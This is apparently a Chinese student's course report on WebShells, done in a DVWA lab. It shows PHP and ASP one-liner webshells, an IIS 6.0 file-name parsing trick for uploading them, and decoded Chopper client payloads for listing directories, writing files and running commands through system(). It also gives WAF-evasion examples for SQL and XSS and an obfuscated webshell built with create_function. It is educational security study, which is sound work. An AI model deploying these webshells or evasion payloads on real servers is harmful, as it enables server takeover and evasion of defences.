三.web应用程序配置php
六.浅析如何绕过WAFweb
附:参考资料shell
WebShell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,WebShell是web的一个管理工具,能够对web服务器进行操做的权限,也叫WebAdmin。数据库
WebShell通常是被网站管理员用于网站管理、服务器管理等等一些用途,可是因为WebShell的功能比较强大,能够上传下载文件,查看数据库,甚至能够调用一些服务器上系统的相关命令(好比建立用户,修改删除文件之类的),一般被黑客利用,黑客经过一些上传方式,将本身编写的WebShell上传到web服务器的页面的目录下,而后经过页面访问的形式进行入侵,或者经过插入一句话链接本地的一些相关工具直接对服务器进行入侵操做。apache
WebShell根据脚本可分为:PHP脚本木马、ASP脚本木马,也有基于.NET的脚本木马和JSP脚本木马。除此以外,还有用Python脚本语言写的动态网页,所以也有与之相关的WebShell。windows
根据功能可分为:大马和小马。小马一般指一句话木马,例如:<%eval request(“pass”)%>
一般把这句话写入一个文档里面,而后文件名改为xx.asp
。而后传到服务器上面。这里eval
方法将request(“pass”)
转换成代码执行,request
函数的做用是应用外部文件。这至关于一句话木马的客户端配置。而大马具备更强大的功能,例如查看并操做服务器端文件等。浏览器
WebShell后门文件具备隐蔽性强、功能强、危害大等特色。WebShell与正常的网页程序同样,经过HTTP或者HTTPS协议访问。因为使用与被控制服务器相同的web服务端口传输,所以不会被防火墙拦截。经过WebShell访问不会在系统日志中留下记录,只会在web网站的web日志中留下一些数据提交记录。高级的WebShell程序仅会在web日志中出现GET或者POST的操做,不会有具体的后门操做信息,所以较难发现,隐蔽性强。安全
目前,WebShell后门程序功能强大,除了文件操做和数据库操做以外,还能够提权,配合特定程序穿透内网,危害性较大。在一般状况下,经过WebShell能够实现读取数据库、导出数据库文件、查看服务器具备访问权限的全部文件等功能。在具备MySQL root帐号、MSSQL sa帐号等状况下,能够直接提高,得到操做系统权限,经过执行特定程序实现如中转、木马植入等功能。
“中国菜刀”的英文名为“chopper”,是一款专业的网站管理软件,用途普遍,使用方便,小巧实用。只要支持动态脚本的网站,均可以用中国菜刀来进行管理。一样地,攻击者可利用该工具进行一些WebShell操做,从而实现对服务器文件的控制。
中国菜刀支持的服务端脚本:PHP、ASP,主要用于链接一句话木马。主要功能有:文件管理(有足够的权限时候能够管理整个磁盘/文件系统),数据库管理,虚拟终端。当后门被上传到服务器端以后,只须要知道后门的具体位置和链接密码等相关信息,就能够执行脚本发起攻击。
点击“忽略此风险”,便可进入下载界面,在本地解压:
右击,在弹出的快捷菜单中选择“添加”命令,便可添加shell地址。以下图所示。
在“地址”文本框中输入一句话木马的shell地址,在“地址”文本框后面的文本框中输入一句话木马的链接密码,在“配置”区域选择脚本类型(程序会自动识别脚本类型),最后点击“添加”按钮,完成添加:
能够看到,目标服务器端的目录结构、文件名称、时间、大小以及读取权限都尽收眼底了......
功能好强大!那怎样作才能查看甚至操做服务器端的文件呢?在后面的实战中再详细介绍~
御剑后台扫描工具是为众多从事网络工做并担任网络安全管理职位的人制做的一款后台安全扫描工具,它能帮助实时监控后台文件的安全性,防护网站风险,为网站的正常运做提供最大的保障。但另外一方面,御剑扫描枚举可能的后台路径这一行为,也为攻击者爆库和利用漏洞进入后台提供了便利。
在“域名”输入框中填入要扫描的后台地址,在下方可对扫描线程以及扫描时间进行设置。设置完毕,点击“开始扫描”便可开始扫描。
这个工具到底有什么用呢?咱们一块儿来试试看...
找来一个网站进行练习:http://demo.testfire.net/【这是一个真实的网站环境,但专门用于模拟渗透测试,因此不用担忧被请喝茶喔】
在“域名”输入网址http://demo.testfire.net/
,开始扫描。扫描结果以下:
HTTP响应值为200,表明页面能够访问。点击这个连接http://demo.testfire.net/admin/login.aspx,进入了后台管理的界面:
获得了这个界面,就能够进行下一步渗透测试啦~
有不少有漏洞的应用程序,咱们能够用来以学习为目的练习渗透测试。下面是一些应用程序:
Damn Vulnerable Web Applications (DVWA): 基于PHP, Apache以及MySQL,须要安装到本地。
OWASP WebGoat: J2EE web 应用程序,须要在本地运行。
Hack This Site:在线学习渗透测试的网站。
Testfire: 在线学习渗透测试的网站。
下面,咱们将学习如何在虚拟机中安装有漏洞的运行程序。在这个练习中,咱们将配置Damn Vulnerable Web Application (DVWA)
。这个应用程序有若干基于web的漏洞,好比跨站脚本 (XSS), SQL注入, CSRF,命令注入等。
DVWA(Damn Vulnerable Web Application)
是一个用来进行安全脆弱性鉴定的PHP/MySQL Web
应用,旨在为安全专业人员测试本身的专业技能和工具提供合法的环境,帮助web开发者更好的理解web应用安全防范的过程。
安装并运行web服务器的步骤以下:
Step1:下载XAMPP,网址为:https://www.apachefriends.org/download.html;对于Windows XP,能够在这里https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/1.8.2/xampp-win32-1.8.2-6-VC9-installer.exe/download下载XAMPP。
Step2:双击可执行文件进行安装,一路next,除了路径选择以外并无什么须要特别注意的。
Step3:打开安装目录,能够找到以下三个可执行文件:
先双击“xampp_start”启动:
再双击“xampp-control”打开xampp的控制面板。点击“start”开启Apache和MySQL的服务:
Step4:在http://www.dvwa.co.uk/下载DVWA应用程序,解压到一个新的文件夹里,命名为“dvwa”。
Step5:打开“C:\xampp\htdocs”
文件夹,把该文件夹里的内容移动到另一个地方。把“dvwa”文件夹拷贝到C:\xampp\htdocs
目录下。
Step6:在浏览器的地址栏中输入http://127.0.0.1/dvwa/login.php
,会出现“Database Setup”数据库设置界面:
至此,咱们成功配置了一个web服务器并在其上安装了一个应用程序。接下来就能够访问http://127.0.0.1/dvwa/login.php
开始攻击练习了。
攻击原理:web容器的解析漏洞,以及配合解析漏洞上传木马。
下面以最简单的一句话木马为例,进行测试:
使用用户名admin
和密码password
登陆DVWA,在左侧选择“File Upload”。
编写一句话测试脚本OneCode.php
,内容为:
<?php @eval($_POST['apple']); ?>
浏览并选择此木马文件:
点击“Upload”,却发现上传失败了:
提示Your image was not uploaded. We can only accept JPEG or PNG images.
,emmmmmmm...看来为了不木马脚本的攻击,服务器对上传文件格式进行了限制。
咱们按照要求,上传一个正常的“JPEG or PNG images”试试看:
成功了。那么做为攻击者的咱们,就应该考虑:若是将木马文件重命名为图片文件,是否能够上传呢?
实践证实,这种思路是能够完成上传的。但上传并非咱们的最终目的,图片格式的木马并不利于咱们进一步执行脚本。还有没有其余的思路呢?使其既能上传,也能执行呢?
查阅资料了解到,DVWA网站服务器使用的是IIS 6.0的web容器。而IIS6.0有一个很著名的漏洞:文件解析漏洞。
如何利用IIS 6.0的解析漏洞呢?
IIS 6.0解析利用方法有两种
/xx.asp/xx.jpg
在网站下创建文件夹的名字为.asp
、.asa
的文件夹,其目录内的任何扩展名的文件都被IIS看成asp
文件来解析并执行。
若是建立目录 wooyun.asp
,那么/wooyun.asp/1.jpg
将被看成asp
文件来执行。假设攻击者能够控制上传文件夹路径,无论上传后的图片改不更名,就都能拿shell了。
wooyun.asp;.jpg
在IIS6.0下,分号后面的不被解析,也就是说wooyun.asp;.jpg
会被服务器当作是wooyun.asp
。
根据上面的解释,在这里,咱们将一句话测试脚本OneCode.php
重命名为OneCode.php;.jpg
再次尝试上传:
点击“Upload”,成功上传:
同时咱们能够看到给出了脚本所在的相对路径:../../hackable/uploads/OneCode.php;.jpg
。
一句话木马一般与须要与一句话木马相应的客户端同时使用,才能实现对服务器的控制。这时候就须要用到咱们以前提到的“中国菜刀”工具了。
下面尝试链接这个一句话木马。
打开菜刀工具,添加一个shell,其中地址可根据给出的相对路径获得:http://192.168.130.132/dvwa/hackable/uploads/OneCode.php;.jpg
,后面的链接密码填脚本中写的“apple”,脚本类型为“PHP(Eval)”,添加。
双击这个shell,成功获取到了服务器端的所有文件:
在某些状况下,服务器对上传文件大小会有限制,所以攻击者每每选择先上传比较小的一句话木马,使用菜刀工具成功链接后再在菜刀工具中上传更大的木马,以实现对服务器端全面的控制。
至此,咱们就成功利用DVWA文件上传漏洞获取到了WebShell权限。
在上面的实践中,咱们亲身体会到了“中国菜刀”工具的强大之处。那么它是如何进行通讯的呢?如何借助已上传的一句话木马实现目录显示、文件上传和模拟虚拟终端等功能的呢?
中国菜刀提供了很是方便的文件管理功能,新建链接,双击打开链接后,便可看到服务器端文件目录的界面:
接下来咱们检查一下中国菜刀的通信网络流量,经过抓包软件分析器服务器和客户端的通信状况,以下图所示,能够看出客户端在80端口上,以HTTP POST方式通信:
利用抓包软件Wireshark的“跟踪流”功能能够看到整个TCP数据交互过程。以下图所示,上面红色部分为攻击者POST提交控制命令的内容,下面蓝色部分为被控端返回结果:
咱们将关注点放在攻击者控制代码部分,打开这个包:
可见攻击者为了防止特殊字符传输失败的异常,代码通过了Base64编码。内容为:
apple=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=QzpcXDIwMTU1MzAzXFw%3D
最前面的部分为通过url编码的数据,解码以后为:apple=@eval(base64_decode($_POST[z0]));
,意为将z0数据以POST的方式提交,并使用Base64解码,最后再解析为脚本执行。
接下来咱们看看z0表明的参数的值。将“&z0=”后面的部分解码并格式化,结果为:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("|<-");; $D=base64_decode($_POST["z1"]); $F=@opendir($D); if($F==NULL) { echo("ERROR:// Path Not Found Or No Permission!"); } else{ $M=NULL; $L=NULL; while($N=@readdir($F)) { $P=$D."/".$N; $T=@date("Y-m-d H:i:s",@filemtime($P)); @$E=substr(base_convert(@fileperms($P),10,8),-4); $R="\t".$T."\t".@filesize($P)."\t"$E.""; if(@is_dir($P)) $M.=$N."/".$R; else $L.=$N.$R; } echo $M.$L; @closedir($F); }; echo("|<-"); die(); &z1=C:\\20155303\\
经过查询手册,具体分析关键函数及参数的含义:
@ini_set("display_errors","0");
临时关闭PHP的错误显示功能;@set_time_limit(0);
防止上传文件大马时,会产生超时;@set_magic_quotes_runtime(0);
magic_quotes_runtime 是php.ini里的环境配置变量,0和false表示关闭本功能,1和true表示打开本功能。当magic_quotes_runtime打开时,全部外部引入的数据库资料或者文件等都会自动转为含有反斜线溢出;echo("|<-");
一个简单的打印;$D=base64_decode($_POST["z1"]);
设置变量D为目录句柄,内容为POST提交的z1。z1参数的具体值在最后面进行了说明:&z1=C:\\20155303\\
;$F=@opendir($D);
opendir() 函数打开一个目录句柄,可由 closedir(),readdir() 和 rewinddir() 使用。若成功,则该函数返回一个目录流,不然返回 false 以及一个 error。能够经过在函数名前加上 "@" 来隐藏 error 的输出;$N=@readdir($F)
readdir() 函数返回由 opendir() 打开的目录句柄中的条目。若成功,则该函数返回一个文件名,不然返回 false;$P=$D."/".$N;
返回目录下的全部文件;$T=@date("Y-m-d H:i:s",@filemtime($P));
返回该目录或文件的时间;@$E=substr(base_convert(@fileperms($P),10,8),-4);
以数字方式显示文件或目录的权限,其中fileperms() 函数返回文件或目录的权限,base_convert() 函数在任意进制之间转换数字;$R="\t".$T."\t".@filesize($P)."\t"$E."";
返回指定文件大小的字节数。从代码能够清楚地看出,在接收z1=C:\\20155303\\
这个参数后,代码打开指定目录的句柄,而后进行循环扫描,并附带上权限、时间、大小、日期这四个参数,用\t制表符拼在一块儿捆绑发送回客户端。到客户端以后,再用string_split之类的函数分开来,循环一一显示在UI上。
执行完这些脚本代码以后,就完成了目录显示的功能。
接下来看看获取WebShell最重要的功能——上传文件,这是下一步渗透攻击的基础。首先上传一张图片:
此次wireshark抓到了两组对话,基本内容大概能够猜到了,一个是上传文件,一个是刷新并显示目录。咱们先来分析第一个包:
数据部分为:
QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskZj1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JGM9JF9QT1NUWyJ6MiJdOyRjPXN0cl9yZXBsYWNlKCJcciIsIiIsJGMpOyRjPXN0cl9yZXBsYWNlKCJcbiIsIiIsJGMpOyRidWY9IiI7Zm9yKCRpPTA7JGk8c3RybGVuKCRjKTskaSs9MikkYnVmLj11cmxkZWNvZGUoIiUiLnN1YnN0cigkYywkaSwyKSk7ZWNobyhAZndyaXRlKGZvcGVuKCRmLCJ3IiksJGJ1Zik/IjEiOiIwIik7O2VjaG8oInw8LSIpO2RpZSgpOw==
解码以后的结果为:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die(); &z1=C:\\final\\4ṇ.png
后面&z2=...
部分是所传图片以十六进制方式显示的结果。
这段代码最关键的部分是最后的fwrite()
函数,也就是将咱们指定的装满数据的缓冲区写入指定的路径中。只要Apache用户在当前目录下有写权限,PHP脚本调用windows API时就能够完成写操做,也就是文件上传。
刚才提到文件上传过程当中,客户端与服务器进行了两次交互。咱们再来看看第二个数据包中的内容:
解码以后的内容为:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $f=base64_decode($_POST["z1"]); $c=$_POST["z2"]; $c=str_replace("\r","",$c); $c=str_replace("\n","",$c); $buf=""; for($i=0;$i<strlen($c);$i+=2) $buf.=urldecode("%".substr($c,$i,2)); echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");; echo("|<-"); die();
能够看出,跟咱们以前分析过的“显示目录”部分的脚本代码大同小异。这部分代码功能就是在上传文件以后,对文件目录进行刷新,显示出刚刚上传的文件。
这个功能更加神奇了,效果跟咱们攻击成功得到的cmd shell同样:
咱们试着分析一下它的原理。先运行一个dir命令,抓包以下:
一样地将数据部分解码,获得:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; $p=base64_decode($_POST["z1"]); $s=base64_decode($_POST["z2"]); $d=dirname($_SERVER["SCRIPT_FILENAME"]); $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\""; $r="{$p} {$c}"; @system($r." 2>&1",$ret); print ($ret!=0)?" &z1=cmd &z2=cd /d "C:\xampp\htdocs\dvwa\hackable\uploads\"&dir&echo [S]&cd&echo [E]
查找手册,看看关键函数如何使用:
dirname()
返回路径中的目录部分;$_SERVER["SCRIPT_FILENAME"]
当前执行脚本的绝对路径,获取后供dir命令等使用;substr()
返回字符串的一部分;$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
这是一段正则表达式,用捕获分组得到字符串中的参数,这里也就是 cd /d C:\xampp\htdocs\dvwa\hackable\uploads、 dir、 echo、 cd、 echo。@system($r." 2>&1",$ret);
本函数就像是C中的函数system(),用来执行指令,并输出结果。如果 return_var 参数存在,则执行 command 以后的状态会填入 return_var 中;也就是说,咱们指定的命令会传入system函数中执行,并输出结果。
前面学习了一些常见WebShell渗透工具的工做机制,但都是基于没有防火墙的网站,这显然不符合真实的场景。所以,掌握绕过各种WAF能够说是渗透测试人员的一项基本技能。
目前市场上的WAF主要有如下几类:
考虑到实际状况,咱们主要针对安全狗绕过进行简要分析。
在安全狗官网下载软件并安装,注意区分IIS版和Apache版。
安装以后,对网站文件目录进行扫描。这里咱们直接扫描已经上传过大马和小马的环境,结果以下:
能够看出,安全狗成功检测出了网站存在的大马和小马。那么,如何绕过WAF上传木马呢?
在某些WAF中,使用的正则存在缺陷,好比没有使用大小写转换函数,所以可根据这个漏洞编写大马或小马,如:
SQL:sEleCt vERsIoN(); XSS:<sCrIpt>alert(1)</script>
常见的SQL编码有unicode、HEX、URL、ascll、base64等,XSS编码有:HTML、URL、ASCII、JS编码、base64等等。
能够经过利用浏览器上的进制转换或语言编码规则来绕过WAF,如:
SQL:load_file(0x633A2F77696E646F77732F6D792E696E69) XSS:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
若是过滤了某些字符串,咱们能够在他们两边加上“原有字符串”的一部分。
在这里利用了WAF的不完整性,只验证一次字符串,或过滤的字符串并不完整,如:
SQL:selselectect verversionsion(); XSS:<scr<script>rip>alalertert</scr</script>rip>
部分WAF是经过黑名单来起到拦截的做用的,将某些函数放入黑名单,从而实现拦截。这种状况下,可使用关键字替代来实现绕过。
好比在MySQL中,WAF将sleep()函数列入黑名单,能够经过具有相同功能的benchmark()函数来实现绕过。下面列举了一些功能相同的替代函数:
< > 等价于 BETWEEN = 等价于 like Hex() bin() 等价于ascii() Sleep() 等价于 benchmark() Mid()substring() 等价于 substr() @@user 等价于 User() @@Version 等价于 version()
基于正则表达式的WAF,SQL诸如规则使用正则表达式的“\s”匹配空格,例如:select\s+union
。
利用空白字符进行绕过,例如union select
被拦截,只须要把中间空白字符替换为%250C
,%25A0
等进行绕过。
union%250Cselect union%25A0select
再好比咱们前面提到的一句话木马:
<?php @eval($_POST['apple']); ?>
在一开始就会被拦截:
要想绕过WAF,咱们要作的就是对一句话木马进行变形,不外乎就是拆分替换、反序列化、动态函数(好比$_GET['function']($_POST['Cknife'])
;)使用回调函数(好比usort
、array_map
)、使用匿名函数、使用特定函数(好比create_function
,asset
)等等。
咱们首先尝试使用匿名函数,用create_function
建立了一个匿名函数chopper
,用它来代替eval
。以下为代码变形后的一句话木马:
<?php $chopper = create_function('$a', 'eval($a);'); $chopper($_POST['chopper']); ?>
仍然会被安全狗检测出来,这是由于构造的匿名函数$chopper
中也包含了eval
关键词,因此被查杀。
再使用拆分法,把eval
拆分为ev
和al
,再在有引号的参数前面加入stripslashes
函数去除转移符号,即修改成:
<?php $chopper = create_function('$a', 'ev'.'al($a);'); $chopper(stripslashes($_POST['chopper'])); ?>
再次提交并尝试链接,就能够成功啦~
总之,绕过WAF就是不停尝试WAF的检测规则,因为WAF不能对正常的文件进行拦截,若过滤规则过于严格,会对网站正常访问产生影响。做为攻击者,就须要找到检测规则的漏洞,既能绕过WAF,又能实现代码原本的攻击功能。
WebShell
就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也能够将其称作为一种网页后门。黑客在入侵了一个网站后,一般会将asp或php后门文件与网站服务器WEB目录下正常的网页文件混在一块儿,而后就可使用浏览器来访问asp或者php后门,获得一个命令执行环境,以达到控制网站服务器的目的。顾名思义,“web”的含义是显然须要服务器开放web服务,“shell”的含义是取得对服务器某种程度上操做权限。WebShell
经常被称为入侵者经过网站端口对网站服务器的某种程度上操做的权限。因为webshell
其大可能是以动态脚本的形式出现,也有人称之为网站的后门工具。
在本次实践中,我了解了WebShell
相关的知识,学习了大马小马的编写方式,还尝试使用了获取WebShell
的经常使用工具,并对其实现机理进行了深刻分析,最后上述基础上,搭建网站,部署WAF,并学习了绕过WAF的几种方式。总体来看,如何经过WebShell
完成一次成功的攻击,这个脉络仍是比较清晰的。入手点以及须要考虑的问题主要有如下几个:第一,木马如何编写?在渗透以前,首先要明白本身目的何在。上传大马仍是小马?是显示后台目录仍是执行某些命令?一些网站会对上传文件的大小进行限制,这就须要先上传简单的一句话木马,再经过工具上传更大的木马了。第二,如何上传木马?出于安全性考虑,通常网站并不容许上传一些疑似木马的文件,这就须要寻找存在的漏洞进行上传。针对IIS 6.0
而言,咱们能够利用文件解析漏洞实现上传。第三,上传以后,如何控制咱们上传的脚本文件,让其完成功能?若是已经上传了大马,直接访问大马的脚本网页便可;若是是一句话木马,就须要先使用中国菜刀等工具进行链接,再进行后续操做。链接时还须要考虑,如何绕过WAF呢?把以上三个步骤都实现了,控制网站服务器的目的也就达成了。
为何当时会选择免考呢?跟其余课程不一样,《网络对抗技术》这门课从开始到结束都是以实践贯穿的,不管是逆向破解、后门、免杀,仍是MSF使用、网络欺诈等等,都是在不断动手动手动手动手动手动手动手的过程当中掌握知识的。因此哈,虽然每次实验都作得很舒服很带感很刺激,但若是期末以卷面形式考,还真跟平时实践不是一种感受呢......有始有终吧,多么有趣的一门课,那就以一个有趣的实践,而不是枯燥的卷面考试,来为一学期的努力画上句号咯。
为何要选WebShell这个主题?emmmmmmmmm...WebShell这个方向,在九次实验中并无涉及,其实原本打算深化其中一个实验的内容的,但在刘老师的建(song)议(yong)之下,凭着本身对未知的兴趣,就勇敢地来尝试新鲜事物啦!在实践的过程当中仍是走了很多弯路的,坚苦卓绝的自学之旅从图书馆借书开始。一边读一边查一边试,渐渐摸出了门路,知道了渗透的基本流程是怎样的。但刚开始也仅仅局限于科普的程度而已。以后每学会一点完成一点,就去向刘老师请教并探讨进一步的方向,很是感谢老师不厌其烦的讲解和启发!!!从环境的正确搭建,到对工具原理的深刻剖析,在“提问——思考——动手——领悟——再提问”这个循环中,渐渐对这个实践主题有了更加深入的理解。
总之,为期五个月的,以实践贯穿始终的『网络对抗技术』课程就告一段落啦。九个实验+期末免考项目,这门课程带给了我不同的体会。之前听娄老师课的时候,总有同窗抱怨老师上课讲的少,可能仍是没有适应这种动手的学习方式吧,总寄但愿于按照PPT背诵期末拿高分。但对于这门课,不动手就没法拿到一丁点分数。老师能布置一些有趣的实验调动同窗们的积极性,改变对“动手”的抵触心理,实在是难能难得~但愿在从此的学习中,能不忘初心,不忘专业对咱们的要求,继续锻炼实践能力,在信息安全这条道路上越走越远吧!